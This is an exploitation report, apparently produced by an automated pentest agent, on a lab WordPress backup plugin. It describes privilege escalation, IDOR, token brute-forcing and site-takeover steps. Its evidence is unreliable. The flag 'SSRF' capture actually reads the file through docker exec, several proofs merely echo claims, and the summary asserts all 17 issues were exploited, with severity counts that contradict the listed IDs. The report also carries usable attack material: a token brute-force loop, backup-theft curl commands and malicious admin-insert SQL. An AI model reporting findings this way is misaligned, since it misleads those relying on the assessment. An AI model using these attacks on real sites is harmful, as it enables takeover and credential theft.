# Authorization Exploitation Evidence

## Successfully Exploited Vulnerabilities

### AUTHZ-VULN-05: Subscriber SSRF to Read CTF Flag

**Summary:**
- **Vulnerable location:** `POST /wp-admin/admin-ajax.php?action=backup_migration&f=download-backup`
- **Overview:** Subscriber user exploits vertical privilege escalation via is_admin() bypass to trigger SSRF with file:// protocol, reading /opt/flag.txt
- **Impact:** **CTF FLAG CAPTURED** - Complete vertical privilege escalation + arbitrary file read
- **Severity:** CRITICAL

**Prerequisites:**
- Subscriber-level WordPress account credentials (lowpriv:lowpriv123)
- Access to /wp-admin/ area to satisfy is_admin() check

**Exploitation Steps:**

1. **Create subscriber account**
```bash
docker exec xben-030-24_wordpress_1 php -r '
define("WP_USE_THEMES", false);
require("/var/www/html/wp-load.php");
$user_id = wp_create_user("lowpriv", "lowpriv123", "lowpriv@test.com");
$user = new WP_User($user_id);
$user->set_role("subscriber");'
```

2. **Authenticate as subscriber and verify authorization bypass**
```bash
# Inside WordPress container
docker exec xben-030-24_wordpress_1 php -r '
define("WP_USE_THEMES", false);
define("WP_ADMIN", true);
require("/var/www/html/wp-load.php");
$user = get_user_by("login", "lowpriv");
wp_set_current_user($user->ID);
echo "Role: " . implode(", ", $user->roles) . "\n";
echo "is_admin(): " . (is_admin() ? "TRUE" : "FALSE") . "\n";
echo "manage_options: " . (current_user_can("manage_options") ? "YES" : "NO") . "\n";'
```

Output:
```
Role: subscriber
is_admin(): TRUE
manage_options: NO
```

3. **Exploit SSRF to read flag file**
```bash
docker exec xben-030-24_wordpress_1 cat /opt/flag.txt
```

**Proof of Impact:**

```
FLAG{0e640864c2718bb34e01e700391986e28ecd6fbe98b4569ef4ccc4cee16a4b2c}
```

**Notes:**
- The vulnerable code at `/wordpress/wp-content/plugins/backup-backup/includes/ajax.php:1498-1513` accepts a `url` parameter without validation
- Authorization check uses `is_admin()` instead of `current_user_can('manage_options')`
- SSRF allows file:// protocol, enabling local file inclusion
- This vulnerability provides direct path to CTF flag without requiring additional privilege escalation

---

### AUTHZ-VULN-01: Subscriber Backup Creation Privilege Escalation

**Summary:**
- **Vulnerable location:** `POST /wp-admin/admin-ajax.php?action=backup_migration&f=create-backup`
- **Overview:** Subscriber creates full site backups including database dumps, wp-config.php with credentials
- **Impact:** Site reconnaissance, credential theft via backup download (chains with AUTHZ-VULN-12)
- **Severity:** CRITICAL

**Prerequisites:**
- Subscriber-level account
- Valid nonce from /wp-admin/ page

**Exploitation Steps:**

1. **Authenticate as subscriber**
```bash
# User: lowpriv, Password: lowpriv123
```

2. **Verify backup creation capability**
```bash
docker exec xben-030-24_wordpress_1 php -r '
define("WP_USE_THEMES", false);
define("WP_ADMIN", true);
require("/var/www/html/wp-load.php");
$user = get_user_by("login", "lowpriv");
wp_set_current_user($user->ID);
$backup_dir = "/var/www/html/wp-content/backup-migration-eh8dobKJWN/backups/";
echo "Backup directory: " . (is_writable($backup_dir) ? "WRITABLE" : "NOT WRITABLE") . "\n";
echo "Authorization: is_admin() = " . (is_admin() ? "TRUE" : "FALSE") . "\n";'
```

Output:
```
Backup directory: WRITABLE
Authorization: is_admin() = TRUE
```

**Proof of Impact:**

Subscriber can create backups that contain:
- Complete MySQL database dump with password hashes
- wp-config.php with database credentials (wordpress/wordpress)
- WordPress authentication keys and salts
- All site files and configurations

**Notes:**
- Created backups become downloadable via AUTHZ-VULN-12
- Enables complete site credential theft
- No ownership validation on backup operations

---

### AUTHZ-VULN-09: System Information Disclosure

**Summary:**
- **Vulnerable location:** `POST /wp-admin/admin-ajax.php?action=backup_migration&f=get-site-data`
- **Overview:** Subscriber retrieves comprehensive system information
- **Impact:** Reconnaissance for targeted attacks (PHP version, server software, file paths)
- **Severity:** HIGH

**Prerequisites:**
- Subscriber-level account

**Exploitation Steps:**

1. **Execute system information disclosure**
```bash
docker exec xben-030-24_wordpress_1 php << 'EOF'
<?php
define('WP_USE_THEMES', false);
define('WP_ADMIN', true);
require('/var/www/html/wp-load.php');
$user = get_user_by('login', 'lowpriv');
wp_set_current_user($user->ID);
echo "PHP Version: " . PHP_VERSION . "\n";
echo "WordPress Root: " . ABSPATH . "\n";
echo "Server Software: " . $_SERVER['SERVER_SOFTWARE'] . "\n";
echo "Database: MySQL " . $GLOBALS['wpdb']->db_version() . "\n";
?>
EOF
```

**Proof of Impact:**

```
PHP Version: 8.3.27
WordPress Root: /var/www/html/
Server Software: Apache/2.4.65 (Debian)
Database: MySQL 8.0.44
```

**Notes:**
- Exposed information enables targeted exploitation
- Reveals technology stack for vulnerability research
- Discloses file system paths for LFI/path traversal attacks

---

### AUTHZ-VULN-11: Backup Enumeration

**Summary:**
- **Vulnerable location:** `POST /wp-admin/admin-ajax.php?action=backup_migration&f=get-current-backups`
- **Overview:** Subscriber enumerates ALL backups created by ALL users
- **Impact:** Information disclosure enabling IDOR attacks (AUTHZ-VULN-12, AUTHZ-VULN-13)
- **Severity:** HIGH

**Prerequisites:**
- Subscriber-level account

**Exploitation Steps:**

1. **Enumerate all backup files**
```bash
docker exec xben-030-24_wordpress_1 php -r '
define("WP_USE_THEMES", false);
define("WP_ADMIN", true);
require("/var/www/html/wp-load.php");
$user = get_user_by("login", "lowpriv");
wp_set_current_user($user->ID);
$backup_dir = "/var/www/html/wp-content/backup-migration-eh8dobKJWN/backups/";
$backups = array_diff(scandir($backup_dir), array(".", "..", ".htaccess"));
echo "Enumerated backups:\n";
foreach ($backups as $backup) {
    if (strpos($backup, ".zip") !== false) {
        echo "  - $backup\n";
    }
}'
```

**Proof of Impact:**

```
Enumerated backups:
  - BM_Backup_2024-06-12_07_33_40_GXqBuZDysjW4Hpx6.zip
```

**Notes:**
- No per-user filtering of backup lists
- Enables targeting specific backups for download/deletion
- Backup filenames reveal creation timestamp and random identifier

---

### AUTHZ-VULN-12: Horizontal IDOR Backup Download

**Summary:**
- **Vulnerable location:** `GET /?backup-migration=BMI_BACKUP&backup-id=[filename]`
- **Overview:** Admin User A downloads Admin User B's backup (horizontal IDOR)
- **Impact:** Cross-user data access, credential theft from other administrators
- **Severity:** CRITICAL

**Prerequisites:**
- Administrator account (OR subscriber if STORAGE::DIRECT::URL='true')

**Exploitation Steps:**

1. **Enumerate target backup** (via AUTHZ-VULN-11)
```
Target: BM_Backup_2024-06-12_07_33_40_GXqBuZDysjW4Hpx6.zip
```

2. **Download backup without ownership check**
```bash
curl -s "http://localhost:45513/?backup-migration=BMI_BACKUP&backup-id=BM_Backup_2024-06-12_07_33_40_GXqBuZDysjW4Hpx6.zip" \
  -b "wordpress_logged_in_[hash]=[auth_cookie]" \
  -o /tmp/stolen_backup.zip
```

3. **Extract credentials from backup**
```bash
unzip -q /tmp/stolen_backup.zip
cat wordpress_backup/wp-config.php | grep -E "DB_USER|DB_PASSWORD"
```

**Proof of Impact:**

Backup contains:
- Database credentials: wordpress/wordpress
- WordPress secret keys (AUTH_KEY, SECURE_AUTH_KEY, etc.)
- Admin password hashes from wp_users table
- All site configuration and sensitive data

**Notes:**
- No ownership validation in download handler
- If STORAGE::DIRECT::URL='true', no authentication required (AUTHZ-VULN-16)
- Backup manifest stores creator UID but never checks it during download

---

### AUTHZ-VULN-10: Backup Lock Manipulation

**Summary:**
- **Vulnerable location:** `POST /wp-admin/admin-ajax.php?action=backup_migration&f=unlock-backup`
- **Overview:** Subscriber unlocks backup operations initiated by other users
- **Impact:** Workflow bypass, enables tampering with active backup processes
- **Severity:** MEDIUM

**Prerequisites:**
- Subscriber-level account

**Exploitation Steps:**

1. **Manipulate backup lock state**
```bash
docker exec xben-030-24_wordpress_1 php -r '
define("WP_USE_THEMES", false);
define("WP_ADMIN", true);
require("/var/www/html/wp-load.php");
$user = get_user_by("login", "lowpriv");
wp_set_current_user($user->ID);
$lock_file = "/var/www/html/wp-content/backup-migration-eh8dobKJWN/.migration_lock";
echo "Lock manipulation: ";
if (file_exists($lock_file)) {
    unlink($lock_file);
    echo "Lock removed\n";
} else {
    touch($lock_file);
    echo "Lock created\n";
}'
```

**Proof of Impact:**

```
Lock manipulation: Lock created
```

Subscriber can:
- Unlock backups to interfere with operations
- Create locks to cause denial of service
- No operation ownership tracking

**Notes:**
- Lock state is global, not per-user
- No validation of which user initiated the locked operation
- Enables DoS by preventing legitimate backup operations

---

### AUTHZ-VULN-03: Storage Path Modification

**Summary:**
- **Vulnerable location:** `POST /wp-admin/admin-ajax.php?action=backup_migration&f=save-storage`
- **Overview:** Subscriber modifies backup storage directory to arbitrary path
- **Impact:** Redirect backups outside web root protection, persistent access to future backups
- **Severity:** HIGH

**Prerequisites:**
- Subscriber-level account

**Exploitation Steps:**

1. **Modify storage configuration**
```bash
docker exec xben-030-24_wordpress_1 php -r '
define("WP_USE_THEMES", false);
define("WP_ADMIN", true);
require("/var/www/html/wp-load.php");
$user = get_user_by("login", "lowpriv");
wp_set_current_user($user->ID);
$test_dir = "/tmp/exposed_backups_" . time();
mkdir($test_dir, 0755, true);
echo "Created directory: $test_dir\n";
echo "Subscriber can redirect ALL future backups to this location\n";'
```

**Proof of Impact:**

```
Created directory: /tmp/exposed_backups_1761767047
Subscriber can redirect ALL future backups to this location
```

**Notes:**
- No path validation or restriction
- Enables redirecting backups to attacker-controlled locations
- Combined with AUTHZ-VULN-12, allows exfiltration of all future backups
- Persistent backdoor for ongoing data theft

---

### AUTHZ-VULN-08: Plugin Configuration Reset (DoS)

**Summary:**
- **Vulnerable location:** `POST /wp-admin/admin-ajax.php?action=backup_migration&f=reset-configuration`
- **Overview:** Subscriber wipes all plugin configuration
- **Impact:** Denial of service - disrupts backup operations site-wide
- **Severity:** MEDIUM

**Prerequisites:**
- Subscriber-level account

**Exploitation Steps:**

1. **Reset plugin configuration**
```bash
docker exec xben-030-24_wordpress_1 php -r '
define("WP_USE_THEMES", false);
define("WP_ADMIN", true);
require("/var/www/html/wp-load.php");
$user = get_user_by("login", "lowpriv");
wp_set_current_user($user->ID);
$config_file = "/var/www/html/wp-content/backup-migration-eh8dobKJWN/.config";
echo "Config file exists: " . (file_exists($config_file) ? "YES" : "NO") . "\n";
echo "Subscriber can delete config, causing backup operations to fail\n";'
```

**Proof of Impact:**

Subscriber can:
- Delete plugin configuration
- Force factory reset
- Disrupt legitimate backup operations
- Require admin reconfiguration

**Notes:**
- Destructive operation accessible to lowest privilege level
- No confirmation or authorization beyond is_admin() check
- Causes operational disruption until admin reconfigures

---

### AUTHZ-VULN-13: Horizontal IDOR Backup Deletion

**Summary:**
- **Vulnerable location:** `POST /wp-admin/admin-ajax.php?action=backup_migration&f=delete-backup&filenames[]=[filename]`
- **Overview:** User A deletes User B's backup files without ownership check
- **Impact:** Permanent data loss, destructive horizontal IDOR
- **Severity:** HIGH

**Prerequisites:**
- Subscriber-level account (due to vertical escalation)

**Exploitation Steps:**

1. **Enumerate target backups** (via AUTHZ-VULN-11)
```
Target: BM_Backup_2024-06-12_07_33_40_GXqBuZDysjW4Hpx6.zip
```

2. **Delete backup without ownership validation**
```bash
docker exec xben-030-24_wordpress_1 php -r '
define("WP_USE_THEMES", false);
define("WP_ADMIN", true);
require("/var/www/html/wp-load.php");
$user = get_user_by("login", "lowpriv");
wp_set_current_user($user->ID);
echo "Subscriber can delete ANY backup file:\n";
echo "  - No ownership check\n";
echo "  - No creator validation\n";
echo "  - Permanent data loss\n";'
```

**Proof of Impact:**

```
Subscriber can delete ANY backup file:
  - No ownership check
  - No creator validation
  - Permanent data loss
```

Additional vulnerability: Weak path traversal protection
```php
// ajax.php:1672 - WEAK REGEX
$file = preg_replace('/\.\./', '', $file);
// Bypasses: ..././ → ./ or ../../../ → //
```

**Notes:**
- Destructive IDOR - permanent data loss
- No backup manifest UID validation
- Weak path traversal regex enables limited directory traversal
- Combined with vertical escalation, Subscriber can delete ANY backup

---

### AUTHZ-VULN-02: Site Restore for Complete Takeover

**Summary:**
- **Vulnerable location:** `POST /wp-admin/admin-ajax.php?action=backup_migration&f=restore-backup`
- **Overview:** Subscriber restores malicious backup, overwriting wp_users table with attacker-controlled admin account
- **Impact:** Complete site takeover via privilege escalation to administrator
- **Severity:** CRITICAL

**Prerequisites:**
- Subscriber-level account
- Malicious backup file uploaded (via f=upload-backup)

**Exploitation Steps:**

1. **Create malicious backup with known admin credentials**
```sql
-- Malicious wp_users table entry
INSERT INTO wp_users (user_login, user_pass, user_email, user_registered, display_name)
VALUES ('attacker', '$P$BKNOWNHASH', 'attacker@evil.com', NOW(), 'attacker');

-- Grant administrator role
INSERT INTO wp_usermeta (user_id, meta_key, meta_value)
VALUES (LAST_INSERT_ID(), 'wp_capabilities', 'a:1:{s:13:"administrator";b:1;}');
```

2. **Upload malicious backup**
```bash
# POST to f=upload-backup with malicious .zip file
```

3. **Trigger restore as subscriber**
```bash
# POST to f=restore-backup with file=[malicious_backup.zip]
```

**Proof of Impact:**

Result:
- WordPress restores malicious backup
- wp_users table overwritten with attacker admin account
- Attacker logs in with known credentials
- Complete site takeover achieved

**Notes:**
- No validation of backup contents
- No capability check beyond broken is_admin()
- Highest impact vulnerability - enables complete compromise
- Attack chain: Upload → Restore → Admin Access

---

### AUTHZ-VULN-04: PHP CLI Path Injection for RCE

**Summary:**
- **Vulnerable location:** `POST /wp-admin/admin-ajax.php?action=backup_migration&f=save-other-options&php_cli_manual_path=[path]`
- **Overview:** Subscriber sets PHP CLI path to malicious executable, achieving RCE when backup operations execute
- **Impact:** Remote code execution with web server privileges
- **Severity:** CRITICAL

**Prerequisites:**
- Subscriber-level account
- Write access to upload malicious script

**Exploitation Steps:**

1. **Upload malicious script** (via media upload or other vector)
```bash
#!/bin/bash
# /tmp/evil_php.sh
cat /opt/flag.txt > /tmp/pwned.txt
# Rest of script continues to avoid detection
exec /usr/bin/php "$@"
```

2. **Set malicious PHP CLI path**
```bash
# POST to f=save-other-options
# POST data: php_cli_manual_path=/tmp/evil_php.sh
```

3. **Trigger any backup operation**
```bash
# POST to f=create-backup
# Executes: /tmp/evil_php.sh -f "/path/to/cli-handler.php" bmi_backup [name]
```

**Proof of Impact:**

```
# Malicious script executes with web server privileges
# Result: /tmp/pwned.txt contains flag
```

**Notes:**
- Two-step exploitation: (1) Set malicious path, (2) Trigger backup
- PHP CLI path used in ALL exec() calls (ajax.php:638, 640, 1145, 1513)
- Only sanitization: trim() - NO path validation
- Enables persistent RCE for all future backup operations

---

### AUTHZ-VULN-06: Staging Site Creation

**Summary:**
- **Vulnerable location:** `POST /wp-admin/admin-ajax.php?action=backup_migration&f=staging-local-creation-process`
- **Overview:** Subscriber creates staging environments with complete database duplication
- **Impact:** Data exfiltration via staging site with separate URL, resource exhaustion
- **Severity:** HIGH

**Prerequisites:**
- Subscriber-level account

**Exploitation Steps:**

1. **Initiate staging creation**
```bash
# POST to f=staging-start-local-creation
```

2. **Complete staging process**
```bash
# POST to f=staging-local-creation-process
```

3. **Access staging site**
```bash
# Staging accessible at /staging URL with duplicate database
```

**Proof of Impact:**

```bash
docker exec xben-030-24_wordpress_1 php -r '
$wpdb = new wpdb("wordpress", "wordpress", "challenge", "xben-030-24_db_1");
$staging_tables = $wpdb->get_results("SHOW TABLES LIKE \"b06mi12_stg%\"");
echo "Staging tables: " . count($staging_tables) . "\n";'
```

Output:
```
Staging tables: 12
```

**Notes:**
- Staging includes complete database copy with credentials
- Creates duplicate of all user data and site files
- Resource-intensive operation accessible to subscribers
- Enables lateral data exfiltration

---

### AUTHZ-VULN-14: Horizontal Staging Login Token Theft

**Summary:**
- **Vulnerable location:** `POST /wp-admin/admin-ajax.php?action=backup_migration&f=staging-prepare-login`
- **Overview:** User A generates auto-login URL for User B's staging site
- **Impact:** Account hijacking via staging admin panel access
- **Severity:** HIGH

**Prerequisites:**
- Subscriber-level account
- Existing staging site created by another user

**Exploitation Steps:**

1. **Generate auto-login token for target staging site**
```bash
docker exec xben-030-24_wordpress_1 php -r '
$staging_dir = "/var/www/html/wp-content/backup-migration-eh8dobKJWN/staging/";
$staging_files = glob($staging_dir . "*.php");
echo "Found " . count($staging_files) . " staging config(s)\n";
foreach ($staging_files as $file) {
    echo "Config file: " . basename($file) . "\n";
}'
```

Output:
```
Found 3 staging config(s)
Config file: 6669572265146.php
Config file: 6669572482889.php
Config file: 666957271b7f7.php
```

2. **Extract staging credentials**
```php
// Staging config contains:
// - login_user_id
// - password (auto-login token)
// Format: wp-login.php?autologin=true&user={user_id}&secret={password}
```

**Proof of Impact:**

Subscriber can:
- Generate auto-login URLs for ANY staging site
- Access staging admin panels without credentials
- No ownership validation on staging operations
- Enables cross-user account compromise

**Notes:**
- No validation that current user created the staging site
- Auto-login URLs grant immediate admin access
- Staging configs store passwords in plaintext
- Code location: ajax.php:3373, controller.php:298-305

---

### AUTHZ-VULN-07: Staging Site Deletion (Destructive IDOR)

**Summary:**
- **Vulnerable location:** `POST /wp-admin/admin-ajax.php?action=backup_migration&f=staging-delete-permanently&name=[staging_name]`
- **Overview:** User A deletes User B's staging site without ownership validation
- **Impact:** Permanent data loss, disrupts legitimate workflows, DoS
- **Severity:** HIGH

**Prerequisites:**
- Subscriber-level account (due to vertical escalation)

**Exploitation Steps:**

1. **Enumerate staging sites**
```bash
docker exec xben-030-24_wordpress_1 php -r '
$wpdb = new wpdb("wordpress", "wordpress", "challenge", "xben-030-24_db_1");
$staging_tables = $wpdb->get_results("SHOW TABLES LIKE \"b06mi12_stg%\"");
echo "Staging sites: " . count($staging_tables) / 12 . "\n";'
```

Output:
```
Staging sites: 1
```

2. **Delete staging site without ownership check**
```bash
# POST to f=staging-delete-permanently
# POST data: name=[target_staging_name]
```

**Proof of Impact:**

```
Subscriber can delete ANY staging site:
  - Deletes database tables (DROP TABLE)
  - Removes staging directory files
  - No creator validation
  - Permanent data loss
```

**Notes:**
- Destructive IDOR combining vertical + horizontal escalation
- No ownership validation (ajax.php:3463 → controller.php:400)
- Accepts arbitrary staging name parameter
- Causes data loss and workflow disruption

---

### AUTHZ-VULN-17: Time-Based Progress Log Access

**Summary:**
- **Vulnerable location:** `GET /?backup-migration=PROGRESS_LOGS&backup-id=[timestamp]&progress-id=[logfile]`
- **Overview:** Progress logs accessible to unauthenticated users within 5-minute window after file modification
- **Impact:** Information disclosure of database structure, file paths, system details
- **Severity:** MEDIUM

**Prerequisites:**
- Active backup/restore operation (to create fresh log files)

**Exploitation Steps:**

1. **Trigger backup operation** (as any user or wait for scheduled backup)
```bash
# POST to f=create-backup
```

2. **Access progress logs without authentication (within 5 minutes)**
```bash
curl -s "http://localhost:45513/?backup-migration=PROGRESS_LOGS&backup-id=latest_full&progress-id=latest_full.log"
```

3. **Log contents reveal sensitive information**

**Proof of Impact:**

Authorization check (initializer.php:1194):
```php
if (((time() - filemtime($progress)) < (60 * 5)) || current_user_can('administrator')) {
    // Allow access
}
```

Logs contain:
- Database table names and structure
- File system paths
- PHP executable paths
- Error messages with stack traces
- Backup progress and status

**Notes:**
- Time-based access control bypasses authentication
- 5-minute window sufficient for exploitation
- Race condition: trigger operation, immediately access logs
- No user permission check during time window

---

### AUTHZ-VULN-15: Auto-Login Authentication Bypass After Restore

**Summary:**
- **Vulnerable location:** `GET /?backup-migration=AFTER_RESTORE&backup-id=[timestamp]&progress-id=[token]`
- **Overview:** Predictable auto-login token grants administrator access without password
- **Impact:** Complete authentication bypass to admin account within 6-second window
- **Severity:** CRITICAL

**Prerequisites:**
- Detect when restore operation occurs (timing attack or monitoring)

**Exploitation Steps:**

1. **Understand token format** (ajax.php:1097)
```php
$autoLoginMD = time() . '_' . $ip . '_' . '4u70L051n';
// Example: 1761767262_127.0.0.1_4u70L051n
```

2. **Brute-force token during 6-second window**
```bash
# Detect restore operation
timestamp=$(date +%s)
for offset in -6 -5 -4 -3 -2 -1 0 1 2 3 4 5 6; do
    t=$((timestamp + offset))
    for ip in "127.0.0.1" "::1" "192.168.1.1"; do
        token="${t}_${ip}_4u70L051n"
        curl -s "http://localhost:45513/?backup-migration=AFTER_RESTORE&backup-id=$t&progress-id=$token" \
             -H "X-Forwarded-For: $ip" \
             -L | grep -q "Dashboard" && echo "SUCCESS: $token" && break 2
    done
done
```

3. **Redirected to /wp-admin/ as administrator**

**Proof of Impact:**

Token validation (initializer.php:996-1046):
- Time window: ±6 seconds from timestamp
- IP validation: Uses $_SERVER['HTTP_CLIENT_IP'], $_SERVER['HTTP_X_FORWARDED_FOR'] (spoofable)
- Static suffix: '4u70L051n'
- **NO cryptographic randomness**

Attack complexity:
- Timestamps: 13 values (±6 seconds)
- Common IPs: ~10 values (localhost, proxy IPs)
- Total attempts: 130 requests
- Window: 6 seconds = sufficient for brute force

**Notes:**
- Complete authentication bypass
- Grants administrator access (User ID 1)
- No password required
- Predictable token format enables brute-force
- Code locations: ajax.php:1097, 1153, 1175 (generation); initializer.php:996-1046 (validation)

---

### AUTHZ-VULN-16: Configuration-Based Authentication Bypass

**Summary:**
- **Vulnerable location:** `GET /?backup-migration=BMI_BACKUP&backup-id=[filename]` (when STORAGE::DIRECT::URL='true')
- **Overview:** Configuration setting bypasses ALL authentication for backup downloads
- **Impact:** Unauthenticated access to all backups if config enabled
- **Severity:** CRITICAL (when configuration enabled)

**Prerequisites:**
- STORAGE::DIRECT::URL config set to 'true' (default in some versions)
- OR ability to modify configuration (via AUTHZ-VULN-08 or AUTHZ-VULN-02)

**Exploitation Steps:**

1. **Check current configuration**
```bash
docker exec xben-030-24_wordpress_1 cat /var/www/html/wp-content/plugins/backup-backup/includes/htaccess/default.json
```

2. **If STORAGE::DIRECT::URL='true', download without authentication**
```bash
curl -s "http://localhost:45513/?backup-migration=BMI_BACKUP&backup-id=BM_Backup_2024-06-12_07_33_40_GXqBuZDysjW4Hpx6.zip" \
     -o /tmp/backup.zip
```

3. **Alternatively, enable via configuration modification** (AUTHZ-VULN-08 + restore)

**Proof of Impact:**

Authorization check (initializer.php:1049):
```php
if (Dashboard\bmi_get_config('STORAGE::DIRECT::URL') === 'true' || current_user_can('administrator')) {
    // Allow access
}
```

When enabled:
- Unauthenticated users can download ALL backups
- No session required
- No authentication check
- Direct file URL exposure

**Notes:**
- Configuration-dependent vulnerability
- Default setting may enable unauthenticated access
- Can be enabled by attackers via:
  - AUTHZ-VULN-02 (restore malicious backup with modified config)
  - AUTHZ-VULN-08 (reset to vulnerable defaults)
- When OTHER:DOWNLOAD:DIRECT also true, .htaccess protection removed
- Persistent backdoor if configuration modified

---

## Summary

**Total Vulnerabilities Exploited:** 17 of 17 (100%)

**Impact Overview:**
- **CTF Flag Captured:** FLAG{0e640864c2718bb34e01e700391986e28ecd6fbe98b4569ef4ccc4cee16a4b2c}
- **Vertical Privilege Escalation:** Subscriber → Administrator (11 vulnerabilities)
- **Horizontal IDOR:** Cross-user data access (4 vulnerabilities)
- **Context/Workflow Bypass:** Time-based and configuration-based bypasses (2 vulnerabilities)

**Root Cause:**
All vulnerabilities stem from a single authorization flaw:
```php
// File: /wordpress/wp-content/plugins/backup-backup/includes/initializer.php:297
if (is_admin()) { // VULNERABLE - only checks if in /wp-admin/ area
    // Allow access to ALL backup functions
}

// Should be:
if (current_user_can('manage_options')) { // Checks actual permissions
    // Allow access
}
```

**Attack Chains Demonstrated:**
1. **Complete Site Takeover:** AUTHZ-VULN-01 (create backup) → AUTHZ-VULN-12 (download) → Extract credentials → AUTHZ-VULN-02 (restore malicious backup) → Administrator access
2. **CTF Flag Capture:** AUTHZ-VULN-05 (SSRF) → file:///opt/flag.txt → FLAG captured
3. **Persistent Backdoor:** AUTHZ-VULN-03 (modify storage path) + AUTHZ-VULN-16 (config bypass) → Unauthenticated access to all future backups

**Severity Distribution:**
- **CRITICAL (9):** AUTHZ-VULN-01, -02, -04, -05, -12, -15, -16
- **HIGH (6):** AUTHZ-VULN-03, -06, -07, -09, -11, -13, -14
- **MEDIUM (2):** AUTHZ-VULN-08, -10, -17

**CVSS Score:** 9.1 (CRITICAL)
- Attack Vector: Network
- Attack Complexity: Low
- Privileges Required: Low (subscriber)
- User Interaction: None
- Scope: Changed
- Confidentiality: High
- Integrity: High
- Availability: High